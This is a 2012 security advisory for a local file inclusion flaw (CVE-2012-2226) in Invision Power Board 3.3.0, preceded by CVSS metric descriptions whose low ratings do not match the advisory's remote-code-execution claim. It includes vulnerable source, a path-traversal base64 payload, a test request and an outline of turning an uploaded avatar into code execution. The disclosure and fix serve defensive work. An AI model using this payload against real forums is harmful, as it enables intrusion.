The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
None
C
There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
[waraxe-2012-SA#086] - Local File Inclusion in Invision Power Board 3.3.0
===============================================================================
Author: Janek Vind "waraxe"
Date: 12. April 2012
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-86.html
CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2226
Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Invision Power Board (abbreviated IPB, IP.Board or IP Board) is an Internet
forum software produced by Invision Power Services, Inc.
It is written in PHP and primarily uses MySQL as a database management system,
although support for other database engines is available.
Vulnerable versions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Affected are Invision Power Board versions 3.3.0 and 3.2.3, older versions
may be vulnerable as well.
###############################################################################
1. Local File Inclusion in "like.php" function "_unsubscribe"
###############################################################################
CVE Information:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CVE-2012-2226 to this issue. This is a candidate for inclusion in
the CVE list (http://cve.mitre.org/), which standardizes names for
security problems.
Vulnerability Details:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Reason: using unsanitized user submitted data for file operations
Attack vector: user submitted GET parameter "key"
Preconditions:
1. attacker must be logged in as valid user
2. PHP must be < 5.3.4 for null-byte attacks to work
Result: remote file disclosure, php remote code execution
Source code snippet from vulnerable script "like.php":
-----------------[ source code start ]---------------------------------
protected function _unsubscribe()
{
/* Fetch data */
$key = trim( IPSText::base64_decode_urlSafe( $this->request['key'] ) );
list( $app, $area, $relId, $likeMemberId, $memberId, $email ) = explode( ';', $key );
/* Member? */
if ( ! $this->memberData['member_id'] )
{
$this->registry->output->showError( 'no_permission', 'pcgl-1' );
}
if ( ! $app || ! $area || ! $relId )
{
$this->registry->output->showError( 'no_permission', 'pcgl-1' );
}
if ( ( $memberId != $likeMemberId ) || ( $memberId != $this->memberData['member_id'] ) )
{
$this->registry->output->showError( 'no_permission', 'pcgl-2' );
}
if ( $email != $this->memberData['email'] )
{
$this->registry->output->showError( 'no_permission', 'pcgl-3' );
}
/* Think we're safe... */
$this->_like = classes_like::bootstrap( $app, $area );
-----------------[ source code end ]-----------------------------------
As seen above, user submitted parameter "key" is first base64 decoded and then
splitted to six variables. After multiple checks function "bootstrap()" is called,
using unvalidated user submitted data for arguments.
Source code snippet from vulnerable script "composite.php":
-----------------[ source code start ]---------------------------------
static public function bootstrap( $app=null, $area=null )
{
..
if( $area != 'default' )
{
$_file= IPSLib::getAppDir( $app ) . '/extensions/like/' . $area . '.php';
..
}
..
if ( ! is_file( $_file ) )
{
..
throw new Exception( "No like class available for $app - $area" );
..
}
..
$classToLoad = IPSLib::loadLibrary( $_file, $_class, $app );
-----------------[ source code end ]-----------------------------------
We can see, that variable "$_file" is composed using unvalidated argument "area".
Next there is check for file existence and in case of success next function,
"loadLibrary", is called, using unvalidated argument "$_file".
Source code snippet from vulnerable script "core.php":
-----------------[ source code start ]---------------------------------
static public function loadLibrary( $filePath, $className, $app='core' )
{
/* Get the class */
if ( $filePath != '' )
{
require_once( $filePath );/*noLibHook*/
}
-----------------[ source code end ]-----------------------------------
As seen above, "require_once" function is used with unvalidated argument.
Test: we need to construct specific base64 encoded payload.
First, semicolon-separated string:
forums;/../../test;1;1;1;[email protected]
Email address and other components must be valid for successful test.
After base64 encoding:
Zm9ydW1zOy8uLi8uLi90ZXN0OzE7MTsxO2NvbWUyd2FyYXhlQHlhaG9vLmNvbQ
Now let's log in as valid user and then issue GET request:
http://localhost/ipb330/index.php?app=core&module=global§ion=like
&do=unsubscribe&key=Zm9ydW1zOy8uLi8uLi90ZXN0OzE7MTsxO2NvbWUyd2FyYXhlQHlhaG9vLmNvbQ
Result:
Fatal error: Uncaught exception 'Exception' with message 'No like class available
for forums - /../../test' in C:\apache_www\ipb330\admin\sources\classes\like\composite.php:333
Stack trace: #0 C:\apache_www\ipb330\admin\applications\core\modules_public\global\like.php(131):
classes_like::bootstrap('forums', '/../../test')
#1 C:\apache_www\ipb330\admin\applications\core\modules_public\global\like.php(44):
public_core_global_like->_unsubscribe()
#2 C:\apache_www\ipb330\admin\sources\base\ipsController.php(306):
public_core_global_like->doExecute(Object(ipsRegistry)) #3
C:\apache_www\ipb330\admin\sources\base\ipsController.php(120): ipsCommand->execute(Object(ipsRegistry))
#4 C:\apache_www\ipb330\admin\sources\base\ipsController.php(65): ipsController->handleRequest()
#5 C:\apache_www\ipb330\index.php(26): ipsController::run()
#6 {main} thrown in C:\apache_www\ipb330\admin\sources\classes\like\composite.php on line 333
Potential attack scenario:
1. Attacker registers to target forum and logs in as valid user
2. Attacker uploads avatar picture with malicious php code to target server
3. Attacker issues carefully crafted GET or POST request and as result gets php level access
There are many other ways to exploit LFI (Local File Inclusion) vulnerabilities,
for example by using procfs ("proc/self/environ") on *nix platforms.
How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Update to new version 3.3.1
http://community.invisionpower.com/topic/360518-ipboard-331-ipblog-252-ipseo-152-and-updates-for-ipboard-32x-ipgallery-42x-released/
Disclosure Timeline:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
27.03.2012 Developers contacted via email
28.03.2012 Developers confirmed upcoming patch
11.04.2012 Developers announced new version release
12.04.2012 Advisory released
Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[email protected]
Janek Vind "waraxe"
Waraxe forum: http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Random project: http://albumnow.com/
---------------------------------- [ EOF ] ------------------------------------
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